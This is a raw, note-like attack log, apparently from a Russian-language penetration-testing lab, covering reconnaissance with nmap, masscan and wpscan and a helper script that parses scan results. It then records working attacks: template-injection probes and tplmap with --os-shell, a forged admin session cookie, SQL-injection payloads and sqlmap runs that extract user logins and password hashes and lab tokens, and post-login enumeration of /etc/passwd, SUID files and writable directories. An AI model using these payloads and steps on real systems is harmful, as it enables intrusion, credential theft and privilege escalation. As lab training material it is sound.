none 10.10.0.1 via 10.10.1.105 dev eth0 proto unspec metric 0
none 255.255.255.255 dev eth1 proto unspec metric 0
none 224.0.0.0/4 dev eth1 proto unspec metric 0
none 10.12.0.63 dev eth1 proto unspec metric 0
none 10.12.0.60/30 dev eth1 proto unspec metric 0
none 10.12.0.62 dev eth1 proto unspec metric 0
none 172.16.0.0/16 via 10.12.0.61 dev eth1 proto unspec metric 0
none 192.168.0.0/24 via 10.12.0.61 dev eth1 proto unspec metric 0
none 10.12.0.1 via 10.12.0.61 dev eth1 proto unspec metric 0
none 255.255.255.255 dev eth2 proto unspec metric 0
none 224.0.0.0/4 dev eth2 proto unspec metric 0
none 169.254.255.255 dev eth2 proto unspec metric 0
none 169.254.0.0/16 dev eth2 proto unspec metric 0
none 169.254.226.236 dev eth2 proto unspec metric 0
none 255.255.255.255 dev eth3 proto unspec metric 0
none 224.0.0.0/4 dev eth3 proto unspec metric 0

Nmap scan report for 172.16.0.14
Host is up (0.23s latency).
Not shown: 98 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 11.00 seconds

nmap -sn 172.16.1.0/16
Nmap scan report for 172.16.1.1
Host is up (0.14s latency).
Nmap scan report for 172.16.1.10
Host is up (0.19s latency).
Nmap scan report for 172.16.1.12
Host is up (0.13s latency).
Nmap scan report for 172.16.1.15
Host is up (0.19s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 32.18 seconds

Nmap scan report for 172.16.1.1
Host is up (0.28s latency).
All 100 scanned ports on 172.16.1.1 are filtered

Nmap scan report for 172.16.1.10
Host is up (0.17s latency).
Not shown: 99 filtered ports
PORT STATE SERVICE
80/tcp open http

Nmap scan report for 172.16.1.12
Host is up (0.27s latency).
Not shown: 98 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap scan report for 172.16.1.15
Host is up (0.24s latency).
Not shown: 99 filtered ports
PORT STATE SERVICE
80/tcp open http

Nmap done: 4 IP addresses (4 hosts up) scanned in 18.21 seconds

atp intsall masscan -y

> masin.txt
nano masin.txt
192.168.101.0/24
172.16.1.0/24
172.16.2.0/24
192.168.0.0/24

masscan -p 80,21,22,22,53,139,143,389,445,1194,1515,8000,8080,3128 -iL masin.txt --rate=300 -oL masout.txt

awk '{ print $4 }' masout.txt > nmapin.txt

nmap -p 80,21,22,53,139,143,389,445,1194,1515,8000,8080,3128 --script "http-title","ftp-anon","SSH","DNS","NB","Imap","LDAP","SMB","VPN","Contr","http000","http-mirror","Proxy" -iL nmapin.txt -oN output.txt

nparse.py:
import subprocess
import inspect
import sys, os, codecs, re
import webbrowser

dic={
"\\xD0\\xB0":"а", "\\xD0\\x90":"А",
"\\xD0\\xB1":"б", "\\xD0\\x91":"Б",
"\\xD0\\xB2":"в", "\\xD0\\x92":"В",
"\\xD0\\xB3":"г", "\\xD0\\x93":"Г",
"\\xD0\\xB4":"д", "\\xD0\\x94":"Д",
"\\xD0\\xB5":"е", "\\xD0\\x95":"Е",
"\\xD1\\x91":"ё", "\\xD0\\x81":"Ё",
"\\xD0\\xB6":"ж", "\\xD0\\x96":"Ж",
"\\xD0\\xB7":"з", "\\xD0\\x97":"З",
"\\xD0\\xB8":"и", "\\xD0\\x98":"И",
"\\xD0\\xB9":"й", "\\xD0\\x99":"Й",
"\\xD0\\xBA":"к", "\\xD0\\x9A":"К",
"\\xD0\\xBB":"л", "\\xD0\\x9B":"Л",
"\\xD0\\xBC":"м", "\\xD0\\x9C":"М",
"\\xD0\\xBD":"н", "\\xD0\\x9D":"Н",
"\\xD0\\xBE":"о", "\\xD0\\x9E":"О",
"\\xD0\\xBF":"п", "\\xD0\\x9F":"П",
"\\xD1\\x80":"р", "\\xD0\\xA0":"Р",
"\\xD1\\x81":"с", "\\xD0\\xA1":"С",
"\\xD1\\x82":"т", "\\xD0\\xA2":"Т",
"\\xD1\\x83":"у", "\\xD0\\xA3":"У",
"\\xD1\\x84":"ф", "\\xD0\\xA4":"Ф",
"\\xD1\\x85":"х", "\\xD0\\xA5":"Х",
"\\xD1\\x86":"ц", "\\xD0\\xA6":"Ц",
"\\xD1\\x87":"ч", "\\xD0\\xA7":"Ч",
"\\xD1\\x88":"ш", "\\xD0\\xA8":"Ш",
"\\xD1\\x89":"щ", "\\xD0\\xA9":"Щ",
"\\xD1\\x8A":"ъ", "\\xD0\\xAA":"Ъ",
"\\xD1\\x8B":"ы", "\\xD0\\xAB":"Ы",
"\\xD1\\x8C":"ь", "\\xD0\\xAC":"Ь",
"\\xD1\\x8D":"э", "\\xD0\\xAD":"Э",
"\\xD1\\x8E":"ю", "\\xD0\\xAE":"Ю",
"\\xD1\\x8F":"я", "\\xD0\\xAF":"Я",
}

f=open('output.txt', 'r')
f2=open('output.html', 'w')

f2.write('<html lang="ru"><head><title>Scan results</title><meta charset="utf-8"></head><body>')

for x in f:
if('Nmap scan report for' in x):
hosts = re.search('(\d+\.\d+\.\d+\.\d+)', x)
host=hosts.group(1).strip()
if('Anonymous FTP login allowed' in x):
f2.write('<a href="ftp://'+host+'" target="_blank">ftp://'+host+'</a><p>')
if('http-title:' in x):
x=x.replace('|_http-title:','')
x=x.replace('| http-title: ','')
w=x.strip()
for k in dic:
if (k in w):
w=w.replace(k, dic[k])
f2.write('<a href="http://'+host+'" target="_blank">'+w+'</a><p>')

f2.write('</body></html>')
f2.close()
f.close()

webbrowser.open('output.html')

root@Ac0st:/home/clevergod wpscan --url http://site.test.lab --enumerate p --random-user-agent

________________________________________
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.4.1
Sponsored by Sucuri - https://sucuri.net
@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_
________________________________________

[+] URL: http://site.test.lab/
[+] Started: Sat Dec 22 20:16:16 2018

Interesting Finding(s):

[+] http://site.test.lab/
| Interesting Entry: Server: nginx/1.14.2
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] http://site.test.lab/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
| Detected By: Rss Generator (Passive Detection)
| - http://site.test.lab/?feed=rss2, <generator>https://wordpress.org/?v=4.9.8</generator>
| - http://site.test.lab/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.9.8</generator>
|
| [!] 7 vulnerabilities identified:
|
| [!] Title: WordPress <= 5.0 - Authenticated File Delete
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9169
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Authenticated Post Type Bypass
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9170
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
|
| [!] Title: WordPress <= 5.0 - PHP Object Injection via Meta Data
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9171
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Authenticated Cross-Site Scripting (XSS)
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9172
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - Cross-Site Scripting (XSS) that could affect plugins
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9173
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
|
| [!] Title: WordPress <= 5.0 - User Activation Screen Search Engine Indexing
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9174
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
|
| [!] Title: WordPress <= 5.0 - File Upload to XSS on Apache Web Servers
| Fixed in: 5.0.1
| References:
| - https://wpvulndb.com/vulnerabilities/9175
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
| - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
| - https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a

[+] WordPress theme in use: twentyseventeen
| Location: http://site.test.lab/wp-content/themes/twentyseventeen/
| Last Updated: 2018-12-19T00:00:00.000Z
| Readme: http://site.test.lab/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 1.9
| Style URL: http://site.test.lab/wp-content/themes/twentyseventeen/style.css?ver=4.9.8
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Detected By: Css Style (Passive Detection)
|
| Version: 1.7 (80% confidence)
| Detected By: Style (Passive Detection)
| - http://site.test.lab/wp-content/themes/twentyseventeen/style.css?ver=4.9.8, Match: 'Version: 1.7'

[+] Enumerating Most Popular Plugins
[+] Checking Plugin Versions

[i] Plugin(s) Identified:

[+] wp-survey-and-poll
| Location: http://site.test.lab/wp-content/plugins/wp-survey-and-poll/
| Last Updated: 2018-10-19T20:12:00.000Z
| [!] The version is out of date, the latest version is 1.5.7.9
|
| Detected By: Urls In Homepage (Passive Detection)
|
| Version: 1.5.7.8 (50% confidence)
| Detected By: Readme - ChangeLog Section (Aggressive Detection)
| - http://site.test.lab/wp-content/plugins/wp-survey-and-poll/readme.txt

[+] Finished: Sat Dec 22 20:16:30 2018
[+] Requests Done: 31
[+] Cached Requests: 3
[+] Data Sent: 8.18 KB
[+] Data Received: 303.9 KB
[+] Memory used: 51.387 MB
[+] Elapsed time: 00:00:13

https://packetstormsecurity.com/files/149379/wpsurverypoll1573-sql.txt

http://site.test.lab/wp-admin/admin.php?page=wysija_campaigns&orderby=[SQL]

notepad C:\Windows\system32\drivers\etc\hosts

172.16.0.10 site.test.lab
172.16.0.10 my.test.lab
172.16.0.10 helpdesk.test.lab
172.16.0.17 ad.test.lab
172.16.0.17 ns1.test.lab
172.16.2.10 ns2.test.lab
172.16.2.10 dns.test.lab
172.16.0.30 db.test.lab
172.16.0.14 NEW14.test.lab
172.16.1.15 repository.test.lab
172.16.1.10 vpn-admin.test.lab
172.16.1.25 admin.test.lab
172.16.0.55 api2.test.lab

curl -g 'http://my.test.lab/?q={{2*%275%27}}'

git clone https://github.com/epinna/tplmap.git

./tplmap.py -u 'http://my.test.lab/?q={{2*%275%27}}'

./tplmap.py -u 'http://my.test.lab/?q=John' --os-shell
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool

[+] Testing if GET parameter 'q' is injectable
[+] Smarty plugin is testing rendering with tag '*'
[+] Smarty plugin is testing blind injection
[+] Mako plugin is testing rendering with tag '${*}'
[+] Mako plugin is testing blind injection
[+] Python plugin is testing rendering with tag 'str(*)'
[+] Python plugin is testing blind injection
[+] Tornado plugin is testing rendering with tag '{{*}}'
[+] Tornado plugin is testing blind injection
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing blind injection
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Twig plugin is testing blind injection
[+] Freemarker plugin is testing rendering with tag '*'
[+] Freemarker plugin is testing blind injection
[+] Velocity plugin is testing rendering with tag '*'
[+] Velocity plugin is testing blind injection
[+] Slim plugin is testing rendering with tag '"#{*}"'
[+] Slim plugin is testing blind injection
[+] Erb plugin is testing rendering with tag '"#{*}"'
[+] Erb plugin is testing blind injection
[+] Pug plugin is testing rendering with tag '\n= *\n'
[+] Pug plugin is testing blind injection
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin is testing blind injection
[+] Dot plugin is testing rendering with tag '{{=*}}'
[+] Dot plugin is testing blind injection
[+] Dust plugin is testing rendering
[+] Dust plugin is testing blind injection
[+] Marko plugin is testing rendering with tag '${*}'
[+] Marko plugin is testing blind injection
[+] Javascript plugin is testing rendering with tag '*'
[+] Javascript plugin is testing blind injection
[+] Php plugin is testing rendering with tag '*'
[+] Php plugin is testing blind injection
[+] Ruby plugin is testing rendering with tag '"#{*}"'
[+] Ruby plugin is testing blind injection
[+] Ejs plugin is testing rendering with tag '*'
[+] Ejs plugin is testing blind injection
[!][checks] Tested parameters appear to be not injectable.

http://my.test.lab/?q={{request}}

http://my.test.lab/?q={{request.environ}}

http://my.test.lab/?q={{{php}echo 'id';{/php}}}

http://my.test.lab/?q={{config}}

http://my.test.lab/?q={{url_for.__globals__}}

http://my.test.lab/?q={{url_for.__globals__.current_app.config}}

http://my.test.lab/?q={{request[request.args.param]}}&param=__class__

http://my.test.lab/?q={{self.__dict__}}

python2 session_cookie_manager.py encode -s 'UGhldmJoZj8gY▒▒▒▒wYnovcG5lcnJlZg==' -t '{"role": u"admin"}'

login as: sviridov
sviridov@192.168.0.100's password:
Warning: Your password will expire in 971 days on Sat Sep 4 18:48:18 2021
Linux lomonosov 4.9.0-8-amd64 /1 SMP Debian 4.9.130-2 (2018-10-27) x86_64
Last login: Sun Jan 6 19:33:33 2019 from 10.12.0.30
////
PasswordAuthentication yes
////
sviridov@lomonosov:~$ uname -a
Linux lomonosov 4.9.0-8-amd64 /1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Li nux
sviridov@lomonosov:~$ id
uid=10002(sviridov) gid=10004(domain users) groups=10004(domain users),10001(BUILTIN\users)
sviridov@lomonosov:~$ ifconfig
-bash: ifconfig: command not found
sviridov@lomonosov:~$ cat /etc/issue
Debian GNU/Linux 9 \n \l

sviridov@lomonosov:~$ cat /proc/version
Linux version 4.9.0-8-amd64 (debian-kernel@lists.debian.org) (gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) ) /1 SMP Debian 4.9.130-2 (2018-10-27)
sviridov@lomonosov:~$ ls /boot | grep vmlinuz-
vmlinuz-4.9.0-3-amd64
vmlinuz-4.9.0-4-amd64
vmlinuz-4.9.0-8-amd64

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
Debian-exim:x:104:109::/var/spool/exim4:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
statd:x:106:65534::/var/lib/nfs:/bin/false
sshd:x:107:65534::/var/run/sshd:/usr/sbin/nologin
_apt:x:108:65534::/nonexistent:/bin/false

ls -ahlR /home/

cd /home/TEST/
find | grep token
cat /sidorov/.token

sviridov@lomonosov:~$ cat /etc/ssh/ssh_host_dsa_key.pub
ssh-dss AAAAB3NzaC1kc3MAAACBANWhH41B9vYEwYwzmSRFuV38J3brfbI+8P9y47WOFDw6w2Zc5iWeieO0Rg2R1SswyxltSkqt5GAirko3yZxpFRyfa6VBNQRM3e3aeicz9wIZDnirnIoe/fmJTc+Jln6kaaW/FnsAulTb7nO6Ak16CToRMkv2yRtwms0Aoth8Ckb3AAAAFQDiU4lvoIS5rH1tfQk5HxRJkTYWQQAAAIAGb2LETs9syV1bV6reCVFP4GdxuA9pBzjsVjQ2oLlOAWC6s9XnJuwbQ4JeBKlfv1Cr5R2ucHzDDJLeq7IQsf0DgUa03JCCt+Fb79D2GHxq6RLFh/zXXpZtU4DM1vNJ/a/TLZdXK/uz7qIE6QbXGxOXMsLfDYR5Chb7j1lCvstMnAAAAIBgNZdrc57ufwRJqx2+UBllI1yM4dZ4B2tJStU9jDcr+kQwSfJr2skwUmheo02FoKMZx6ddnnP/UymyMqt0438HMcqcwRGeOSrzEwRpu7RrLyrQxjAPbbKvxSezSkm6p/C1wb4UH/aEutFNRn/kXRLVAuf0/9bZEm8JrulWFvK5+w== root@agorokhov

sviridov@lomonosov:~$ cat /etc/ssh/ssh_host_rsa_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAAE6rU3Y9evVByyJiu6UW7vWJ6KP29UZkvRAFn8Q4qcdyBzPEHpZeuJydqmhzW8/8MJ0SD9Fy/5nUOaFoLLvJgeO31v52j/E+nD4F7pdjA83bYWWkuvdoHN0kzAt9STwzNEva3zhqgsK+z/1AxqBCo7jwAvJpcomlEH6/lSxcSVlWTDC5/t7+YXAhiSEQf6lJiBAL5lmqExtM6Nf7T+uRFzc+xCtbI89a163iNWuos6Jb2qCpf/2JGc/f8RicPWmXFpWXlFDuajQL6fsrJ6DG+/Vgp9vMoBqovbmMThb4AHeOonbadpZif/nKJpxEMohHbvLQhb/RJUh4CXOFaX7v root@agorokhov

sviridov@lomonosov:~$ find / -perm -1000 -type d 2>/dev/null
/tmp
/tmp/.font-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.ICE-unix
/run/lock
/dev/mqueue
/dev/shm
/var/tmp
/var/spool/cron/crontabs
/var/spool/cron/atjobs
/var/spool/cron/atspool
/var/spool/samba
/var/lib/samba/usershares

sviridov@lomonosov:~$ find / -perm -g=s -type f 2>/dev/null
/sbin/unix_chkpwd
/usr/bin/procmail
/usr/bin/expiry
/usr/bin/mutt_dotlock
/usr/bin/mlocate
/usr/bin/at
/usr/bin/bsd-write
/usr/bin/dotlockfile
/usr/bin/crontab
/usr/bin/lockfile
/usr/bin/chage
/usr/bin/ssh-agent
/usr/bin/wall

sviridov@lomonosov:~$ find / -writable -type d 2>/dev/null
/tmp
/tmp/.font-unix
/tmp/USER
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/tmp/.ICE-unix
/proc/1549/task/1549/fd
/proc/1549/fd
/proc/1549/map_files
/run/user/10002
/run/user/10002/gnupg
/run/user/10002/systemd
/run/user/10002/systemd/transient
/run/lock
/sys/fs/cgroup/systemd/user.slice/user-10002.slice/user@10002.service
/sys/fs/cgroup/systemd/user.slice/user-10002.slice/user@10002.service/init.scope
/dev/mqueue
/dev/shm
/var/tmp
/var/spool/samba
________________________________________ Мы прошли уже 54% лабы и осталось 7 заданий: Site, API, User API, Image, DB, admin, Reverse

notepad C:\Windows\system32\drivers\etc\hosts

172.16.0.14 site.test.lab
172.16.0.10 site.test.lab
172.16.0.10 my.test.lab
172.16.0.10 helpdesk.test.lab
172.16.0.17 ad.test.lab
172.16.0.17 ns1.test.lab
172.16.2.10 ns2.test.lab
172.16.2.10 dns.test.lab
172.16.0.30 db.test.lab
172.16.1.15 repository.test.lab
172.16.1.10 vpn-admin.test.lab
172.16.1.25 admin.test.lab
172.16.0.55 api2.test.lab

http://site.test.lab/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498

http://site.test.lab/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498"%20-p%20survey_id%20--dbms=MariaDB

http://site.test.lab/index.php?option=com_ponygallery&Itemid=x&func=viewcategory&catid=+UNION+SELECT+1,2,3,4,0,concat(0x1e,username,0x3a,password,0x1e,0x3a,usertype,0x1e),5,0,0+FROM+jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--

http://site.test.lab/wp-content/plugins/wp-survey-and-poll/templates/assets/js/wp_sap.js?ver=1.0.0.2

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: site.test.lab
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://site.test.lab/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Connection: close
Cookie: wp_sap=["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,current_user,11#"]
action=ajax_survey_answer&sspcmd=save&options=%5B%7B%22sid%22%3A%22242178939%22%2C%22qid%22%3A1%2C%22aid%22%3A%221%22%7D%5D

Переменная / Функция Вывод
@@hostname Текущее имя хоста
@@tmpdir Директория для временных файлов
@@datadir Директория с базами данных
@@version Версия БД
@@basedir Базовая директория
user() Текущий пользователь
database() Текущая база данных
version() Версия
schema() Текущая база данных
UUID() Ключ системного UUID
current_user() Текущий пользователь
current_user Текущий пользователь
system_user() Текущий системный пользователь
session_user() Сессионный пользователь
@@version_comment
@@log_error
@@GLOBAL.have_symlink Проверка, включены или отключены симлинки
@@GLOBAL.have_ssl Проверка, имеется SSL или нет

wp_sap=["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,version()11#"]

sqlmap -u "http://site.test.lab/" --cookie="wp_sap=%5B%221650149780*%29%29" --level=5 --risk=3 -b --technique=U --dbms MySQL --random-agent

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:04:28 /2018-12-30/

[21:04:36] [INFO] testing connection to the target URL
do you want to URL encode cookie values (implementation specific)? [Y/n] y
[21:04:42] [WARNING] heuristic (basic) test shows that (custom) HEADER parameter 'Cookie /1*' might not be injectable
[21:04:43] [INFO] testing for SQL injection on (custom) HEADER parameter 'Cookie /1*'
[21:04:43] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'

["1650149780')) OR 1=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,concat(user_login,0x3a,user_pass),11 from wp_users#"]

["1650149780')) OR 1=2 union all select 1,2,3,4,5,6,7,8,9,convert(name, char),11 from token#"]

Address String
0x238 /lib64/ld-linux-x86-64.so.2
0x3a9 libc.so.6
0x3b3 __isoc99_scanf
0x3c2 puts
0x3c7 printf
0x3ce __cxa_finalize
0x3dd __libc_start_main
0x3ef _ITM_deregisterTMCloneTable
0x40b __gmon_start__
0x41a _Jv_RegisterClasses
0x42e _ITM_registerTMCloneTable
0x448 GLIBC_2.7
0x452 GLIBC_2.2.5
0xb50 AWAVA
0xb57 AUATL
0xbaa []A\A]A^A_
0xbd4 PASSWORD:
0xbdf %32s
0xbe4 ACCESS GRANTED!
0xbf4 ACCESS DENIED!
0xcaf ;*3$"
0x201060 qk0Q5ZmS3au5RkcPuyotTjtg3G0bux3r
0x2010a0 Qn8AiYpfA4rPUrL9Oxn1ET5vG8h7o7xb
0x2010e0 a1aX9SLLbe3Fksvqtv7YhRoqtaw91ezu
0x201120 nFb4dqPjHNnUoGJhC9u7gBdb9YWyCBxL
0x201160 HNnwB0GQNeVL5CGzMWjpuKfxDfqVPb1K
0x2011a0 3Z95TWpP8AjUCROxVRWwdciYZeALUOdX
0x2011e0 s9ZYhZfC1QJ648ks4T2osoLzdFizYgTN
0x201220 iAp6GHesRyGqYFR2nrI6eVsRBCg8wwuC
0x201260 kheitdX7MaAJUmiUcCKyRY8S3OCL6EYU
0x2012a0 ZGu3qyV3h0SjtvcXydEFkDAY614ag0Wz
0x2012e0 Qm0WDrht1fHYMCwNJMX7JzyJZgs4uT44
0x201320 fMbNVxtoCJPmqaioEFrCNCAqUJJey5t5
0x201360 9gnkzkuM7bp3nYaqneAL5PErwSZoDdHR
0x2013a0 pDCZ4rifJzZbXC3JCcdG8VXm4sb2dUHg
0x2013e0 cmHunusgo6mLm1k2mECv4twf9NFotmh0
0x201420 SH09vwZGljB1gBuxiEEWBVAyoEtMMfwH
0x201460 AWBbrLGVxIxW3SwxdLzGaJtwnTPkS0CI
0x2014a0 BEE08jI0dF1WwDZZjTMS3wnR8gn1Yl0P
0x2014e0 2wI2d3MAhcASlc7Jh3glOlRzHsCP6aYG
0x201520 PRkuaCnSV6PvKZR69c6ZdZmmSXcJhXaI
0x201560 fV3Z3hTeDSkDcB3tA6ErgkfACczshjOk
0x2015a0 RG2UK0t01h6Iu1mYoYNMwaDYOFLDdKbb
0x2015e0 h5RsV2d5xxvva4hNQCKAeImgyYv2VGsn
0x201620 U2UBCWM6LMfjTrPViCvE2iCoy2HFGlZu
0x201660 1E0kpCL4HsvT08R7MS1b7QOHmGjPRjej
0x2016a0 5rHeHjWfheNpO6fOcRKo8UaBIYy5Elmm
0x2016e0 9hNjolVactGp6W2ANee4x3TqQbhomXDC
0x201720 jxV1ieQfSW7jJBcBCNeEDy0tN0WKUzkX
0x201760 ZQ6jg2CvZYAIr5jJUqoPBoKmgKEvbc2J
0x2017a0 bPnjBvCFSJOWjZQ4YTt8yl9Qg2iZ4BjC
0x2017e0 gamRgM6VyyM9UyvaigVutUkAo9xWcUmb
0x201820 zAICHvw3womkL80wKKeJG5nbkQR0ziw7

package lab.test.client;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.IOException;
import java.io.PrintStream;
import java.net.Socket;
import lab.test.client.Data.Reqvest;
public class Main
{
private static final int port = 5074;
private static final String ip = "172.16.0.55";
public Main() {}
private static String keySt = "cl1.p12";
private static String trSt = "tr_cl";
private static String keyPas = "12345";
private static String keyForm = "PKCS12";
private static String trPas = "123456";
public static void main(String[] args) throws IOException, java.net.UnknownHostException {
keySt = createTempFile(keySt);
trSt = createTempFile(trSt);
System.setProperty("javax.net.ssl.keyStore", keySt);
System.setProperty("javax.net.ssl.keyStorePassword", keyPas);
System.setProperty("javax.net.ssl.keyStoreType", keyForm);
System.setProperty("javax.net.ssl.trustStore", trSt);
System.setProperty("javax.net.ssl.trustStorePassword", trPas);
javax.net.ssl.SSLSocketFactory sslSocketFactory = (javax.net.ssl.SSLSocketFactory)javax.net.ssl.SSLSocketFactory.getDefault();
Socket socket = null;
Reqvest reqvest = dialog();
try {
socket = sslSocketFactory.createSocket("172.16.0.55", 5074);
BufferedWriter bf = new BufferedWriter(new java.io.OutputStreamWriter(socket.getOutputStream()));
BufferedReader br = new BufferedReader(new java.io.InputStreamReader(socket.getInputStream()));
bf.write(reqvest.getJSON());
bf.newLine();
bf.flush();
String tmp = br.readLine();
while (tmp != null) {
System.out.println(tmp);
tmp = br.readLine();
}
bf.close();
socket.close();
}
catch (java.net.UnknownHostException localUnknownHostException) {}catch (IOException localIOException) {}finally
{
if ((socket != null) && (!socket.isClosed())) socket.close();
new File(keySt).delete();
new File(trSt).delete();
}
}
private static String createTempFile(String path) {
File file = new File(path);
if (!file.isFile()) {
try { file = File.createTempFile("tmp_", Long.toString(System.currentTimeMillis()));
java.nio.file.Files.copy((java.io.InputStream)java.util.Objects.requireNonNull(Main.class.getClassLoader().getResourceAsStream(path)), file.toPath(), new java.nio.file.CopyOption[] { java.nio.file.StandardCopyOption.REPLACE_EXISTING });
}
catch (IOException localIOException) {}
}
return file.getAbsolutePath();
}
public static Reqvest dialog() throws IOException
{
System.out.println("Selected option");
System.out.println("1. All requests");
System.out.println("2. All requests by Info");
System.out.println("3. All requests by Sviridov");
System.out.println("4. All not closed request");
BufferedReader reader = new BufferedReader(new java.io.InputStreamReader(System.in));
Reqvest result;
Reqvest result; Reqvest result; Reqvest result; Reqvest result; switch (reader.readLine()) {
case "1":
result = new Reqvest();
break;
case "2":
result = new Reqvest("info");
break;
case "3":
result = new Reqvest("sviridov");
break;
case "4":
result = new Reqvest(2);
break;
default:
result = new Reqvest(-1);
}
return result;
}
}

{
"type":0
}
, если ввели 2
{
"type":1,
"params":"info"
}

Address String
0x12 server
0x22 X.509
0x74 Default City1
0x8b TEST1
0x9a TEST.LAB1
0xad server0
0xb7 181211193329Z
0xc6 20500605193329Z0d1
0xfc Default City1
0x113 TEST1
0x122 TEST.LAB1
0x135 server0
0x185 4O_L
0x1e5 H\ ~
0x287 k'T|

info@lomonosov:/etc/samba$ cat smb.conf
[global]
workgroup = TEST
realm = TEST.LAB

security = ADS
encrypt passwords = true
dns proxy = no
socket options = TCP_NODELAY
domain master = no
local master = no
